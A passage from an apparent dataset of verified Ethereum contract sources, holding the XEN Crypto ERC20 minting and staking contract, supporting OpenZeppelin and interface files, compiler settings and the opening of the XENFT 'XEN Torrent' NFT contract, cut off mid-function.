can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
1 | 19,494,966 | b37f45003d88fd698c750f7744bd31028442086a16a43a4f4df8e8d418929377 | 95f006a459224e88a8f73755ab7bc49de3dbf196b2834c3be19f2653c4c3b3ea | 515b52b8170b1dcd20242b369a674a8dad27407f | 0a252663dbcc0b073063d6420a40319e438cfa59 | 46a1c852c8d0a947b7c3f18fd621b8c7731aa41d | 3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant 